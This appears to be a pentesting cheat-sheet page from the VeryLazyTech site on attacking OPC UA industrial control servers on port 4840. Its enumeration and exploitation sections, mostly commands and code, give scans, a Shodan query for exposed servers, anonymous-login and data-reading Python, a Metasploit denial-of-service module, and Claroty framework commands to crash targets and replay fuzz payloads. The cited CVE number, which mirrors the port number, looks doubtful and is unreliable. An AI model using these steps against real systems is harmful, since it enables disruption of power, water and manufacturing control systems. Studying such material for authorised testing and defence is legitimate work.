> For the complete documentation index, see [llms.txt](https://www.verylazytech.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.verylazytech.com/opc-ua-port-4840.md).

# OPC UA - PORT 4840

{% tabs %}
{% tab title="Support VeryLazyTech 🎉" %}

* Become VeryLazyTech [**member**](https://whop.com/verylazytech/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://whop.com/verylazytech/)for e-books and courses.  📚
  {% endtab %}
  {% endtabs %}

## Basic info

* A **machine-to-machine communication protocol** for industrial control systems (ICS).
* Standard port: **4840/TCP**.
* Used in:
  * Manufacturing lines
  * Power & energy networks
  * Oil & gas
  * Water plants
* Provides structured data exchange between **PLCs, sensors, and control software**.

For attackers, this is gold: a single OPC UA server can expose **device data, configurations, and control endpoints.**

***

### Enumeration

#### Nmap Scan

```bash
nmap -sV -p 4840 <target>
```

Output:

```
4840/tcp open  opc-ua  OPC UA TCP Protocol
```

**Banner Grab & Enumeration**

Use the `opcua-info` NSE script:

```bash
nmap -p 4840 --script opcua-info <target>
```

This extracts:

* Server application name
* Security policies supported (None, Basic256, etc.)
* Endpoints & available services

To reveal security issues in OPC UA servers, scan it with [OpalOPC](https://opalopc.com/).

```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
```

#### Shodan / Censys

Search for:

```
port:4840 opc ua
```

***

### Exploitation

Once you find an OPC UA server, you have multiple attack routes:

#### 1. No Authentication (Anonymous Login)

Many deployments allow **anonymous access**.\
Use the Python `opcua` client:

```python
from opcua import Client

client = Client("opc.tcp://<target>:4840")
client.connect()
print("Connected:", client.get_endpoints())
```

#### 2. Information Disclosure

OPC UA servers expose **tags, variables, and node data**. This can reveal:

* Factory layout
* Device models & firmware versions
* Process values (temperatures, flow rates, etc.)

Example Python snippet:

```python
root = client.get_root_node()
print("Root children:", root.get_children())
```

#### 3. Vulnerabilities (CVE-2018-4840 & more)

Poor implementations of OPC UA are vulnerable to **buffer overflows** and **denial of service**.

Metasploit has a module:

```bash
use auxiliary/dos/opcua/opcua_extensionobject_bof
set RHOSTS <target>
set RPORT 4840
run
```

This can crash or prove exploitability in vulnerable stacks. With ROP chains, it becomes RCE.

***

## Automated Tools

Claroty’s **OPC UA Exploit Framework** is a research toolkit for fuzzing, testing, and exploiting OPC UA servers/clients. It was the backbone of Team82’s discovery of dozens of OPC UA vulnerabilities.

### Installation & How to guide

```bash
# Clone the repo
git clone https://github.com/claroty/opcua-exploit-framework.git
cd opcua-exploit-framework

# Install requirements
pip install -r requirements.txt
```

⚠️ Make sure you’re running **Python 3.8+** and have `pip` installed.

The framework has **four modules**:

* `sanity` → Simple probes
* `attacks` → Exploit payloads
* `corpus` → Saved fuzz cases
* `server` → Fake OPC UA server for testing

#### 1. Run a Sanity Test (check target is alive)

```bash
python3 main.py sanity --target opc.tcp://192.168.1.100:4840
```

This checks if the OPC UA service is responding.

#### 2. Enumerate Nodes

```bash
python3 main.py sanity read-nodes --target opc.tcp://192.168.1.100:4840
```

Useful for info-gathering on exposed objects.

#### 3. Launch an Attack

Example: **Remote Stack Overflow (DoS)**

```bash
python3 main.py attacks dos-basic --target opc.tcp://192.168.1.100:4840
```

If the server crashes → it’s vulnerable.

#### 4. Reuse Payloads (Corpus)

```bash
python3 main.py corpus --payload payloads/bad_integer.bin --target opc.tcp://192.168.1.100:4840
```

This lets you replay fuzzing payloads that previously triggered bugs.

#### 5. Use the Built-in Test Server

```bash
python3 main.py server --port 4840
```

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://whop.com/verylazytech/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://whop.com/verylazytech/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://whop.com/verylazytech/)for e-books and courses.  📚

</details>
{% endhint %}